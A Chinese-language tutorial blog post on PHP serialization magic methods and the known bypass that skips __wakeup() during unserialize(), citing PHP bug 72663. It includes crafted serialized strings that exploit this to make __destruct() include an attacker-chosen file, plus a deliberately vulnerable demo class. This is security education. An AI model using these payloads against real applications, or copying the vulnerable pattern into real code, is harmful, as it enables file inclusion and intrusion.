反序列化中__wakeup()导致的安全问题
在php中,序列化过程中会涉及两个魔术方法,__sleep()和__wakeup()。具体如下:
serialize() 检查类中是否有魔术名称 __sleep 的函数,如果有,则该函数在序列化之前运行,它可以清除对象并应该返回一个包含有该对象中应被序列化的所有变量名的数组。如果该函数没有返回什么数据,则不会有什么数据被序列化,并且会发出一个 E_NOTICE 错误。
unserialize()检查具有魔术名称 __wakeup 的函数的存在,如果有,一样先运行该方法。
我们看代码测试:
<?php class test{ public $file; public function __destruct(){ echo "__destruct !<br />"; } public function __wakeup(){ echo "__wakeup !<br />"; } public function __sleep(){ echo "__sleep !<br />"; } } $r = new test(); var_dump(serialize($r));
?>
可以看到,由于__sleep()函数没有返回值,所以我们的对象没有被序列化。
当__sleep()函数返回一个对象数组时,会成功序列化对象。
public function __sleep(){
echo "__sleep !<br />";
return array($this->file);
}
unserialize()调用时,测试代码如下:
<?php
class test{
public $file;
public function __destruct(){
echo "__destruct !<br />";
}
public function __wakeup(){
echo "__wakeup !<br />";
}
public function __sleep(){
echo "__sleep !<br />";
return array($this->file);
}
}
#$r = new test();
#var_dump(serialize($r));
#echo "<br />";
$file1 = 'O:4:"test":1:{s:4:"file";N;}';
var_dump(unserialize($file1));
?>
但是,这个__wakeup()方法有问题,看下它php的底层代码:
Description:
------------
Create an Unexpected Object and Don't Invoke __wakeup() in During Deserialization
```
static inline long object_common1(UNSERIALIZE_PARAMETER, zend_class_entry *ce)
{
...
if (ce->serialize == NULL) {
object_init_ex(*rval, ce); <=== create object
...
static inline int object_common2(UNSERIALIZE_PARAMETER, long elements)
{
...
if (!process_nested_data(UNSERIALIZE_PASSTHRU, Z_OBJPROP_PP(rval), elements, 1)) { <=== create object properties
return 0;
}
if (Z_OBJCE_PP(rval) != PHP_IC_ENTRY &&
zend_hash_exists(&Z_OBJCE_PP(rval)->function_table, "__wakeup", sizeof("__wakeup"))) {
INIT_PZVAL(&fname);
ZVAL_STRINGL(&fname, "__wakeup", sizeof("__wakeup") - 1, 0);
BG(serialize_lock)++;
call_user_function_ex(CG(function_table), rval, &fname, &retval_ptr, 0, 0, 1, NULL TSRMLS_CC); <=== call to __wakeup()
BG(serialize_lock)--;
}
```
可以看到,这里面当创建对象出错了时,会直接return 0,而不会再调用__wakeup()方法,但之前的对象是创建了的,所以它还是会调用__destruct()方法。
我们传入一个错误的序列化对象:$file1 = 'O:4:"test":1:{s:5:"xfile";N;}';
当然,这样直接破坏原有的对象属性,其反序列化异常时会导致原有对象清除,然而我们可以在原有的序列化字符串中再添加一个异常对象属性,当反序列化时,遇到该异常时就不会调用__wakeup()方法,然而之前正常的属性还是正常的反序列化了,因此,直接执行__destruct()方法时,如果涉及原有对象操作,就会不受__wakeup()方法的限制,从而达到其他的漏洞利用效果。测试代码如下:
<?php class test{ public $file; public function __destruct(){ echo "__destruct !<br />"; include($this->file); } public function __wakeup(){ echo "__wakeup !<br />"; $this->file = ''; } } $file = 'O:4:"test":2:{s:4:"file";s:10:"E:/WWW/123";s:4:"fxxx";s:5:"xx\0xx";}'; $abc = unserialize($file); var_dump($abc); ?>
这样,在进行反序列化的时候,在第二个属性处出错,而之前第一个属性是保留了的,也就是说此时,$this->file = "E:/WWW/123",这样就会直接包含“E:/WWW/123”文件,而不会调用__wakeup()方法将其赋值为空,当然我们的序列化字符串为 O:4:"test":2:{s:4:"file";s:10:"E:/WWW/123";} 同样也是可以的,反正记住,只要你在保留需要的属性时,其他有一个地方出错而不破坏你的那个期待属性就好。
漏洞案例参考:http://bobao.360.cn/learning/detail/3020.html
参考文章:https://bugs.php.net/bug.php?id=72663 http://www.php.net/manual/zh/oop4.magic-functions.php
浙公网安备 33010602011771号